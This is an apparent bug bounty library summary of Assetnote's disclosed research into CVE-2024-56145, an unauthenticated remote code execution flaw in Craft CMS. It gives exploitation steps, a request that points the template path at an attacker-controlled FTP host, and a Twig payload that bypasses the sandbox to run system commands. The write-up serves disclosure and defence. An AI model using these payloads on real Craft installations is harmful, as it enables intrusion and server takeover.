# How an obscure PHP footgun led to RCE in Craft CMS

Craft CMS trusts $_SERVER['argv'] from query string under register_argc_argv=On, letting unauthenticated attackers set --templatesPath to an FTP URL and inject Twig for RCE.

- Payout: Research
- Severity: critical
- Program: Craft CMS
- Write-up by: Assetnote
- Disclosed: 2025-02-12
- CVE: CVE-2024-56145
- Write-up quality: 9/10
- Original: https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-how-an-obscure-php-footgun-led-to-rce-in-craft-cms
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:research sev:critical tech:php technique:source-review vuln:rce vuln:ssti

**Target:** PHP web application bootstrap (bootstrap.php / App::cliOption) and Twig template loader
**Root cause:** App::cliOption reads $_SERVER['argv'] without verifying PHP_SAPI is CLI; with register_argc_argv=On (default in Craft's Docker), query-string tokens like --templatesPath populate argv, letting attackers control config/template paths.
**Steps:**
1. Confirm register_argc_argv=On (Craft Docker default) so `?foo+bar` populates $_SERVER['argv'].
2. Send `GET /?--configPath=/aaa` and observe Craft fails to find config, confirming argv injection.
3. Stand up an anonymous FTP server serving `index.twig` containing `hello world {{7*7}}`.
4. Request `GET /?--templatesPath=ftp://a:a@attacker:2121/` and confirm response renders `hello world 49`.
5. Replace template with `{{ ['system', 'id'] | sort('call_user_func') }}` to bypass checkArrowFunction blocklist and execute `system('id')`.
**How found:** Noticed bootstrap.php uses App::cliOption to read CLI flags for paths; reading cliOption revealed it only checks empty($_SERVER['argv']) with no PHP_SAPI check. Recalled register_argc_argv populates argv from query string, then enumerated PHP stream wrappers supporting stat()/file_exists to find one usable for include (ftp://) after http:// and php://filter failed the file_exists check.
**Exploitation:** Unauthenticated attacker points --templatesPath at an attacker-controlled FTP server (FTP wrapper supports stat() so file_exists passes, and templates are read via file_get_contents, bypassing allow_url_include). Craft loads attacker's Twig template; blocklisted functions are bypassed via `sort('call_user_func')` to invoke system(), yielding RCE.
**Insight:** When a PHP app branches on isset($_SERVER['argv']) to detect CLI, test whether register_argc_argv=On lets query-string tokens become CLI flags. For arbitrary-path includes gated by file_exists, enumerate wrappers supporting stat() — ftp:// works for file_get_contents-based template loads even when allow_url_include blocks include.

## Proof of concept (copied exactly from the original report)

**FTP templatesPath request loading remote Twig**

```
GET /?--templatesPath=ftp://a:a@our.malicious.server:2121/ HTTP/1.1
Host: localhost:8000

...

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 19 Nov 2024 00:10:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: Craft CMS
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 15

hello world 49
```

**Twig sandbox bypass via sort/call_user_func**

```
{{ ['system', 'id'] | sort('call_user_func') }}
```

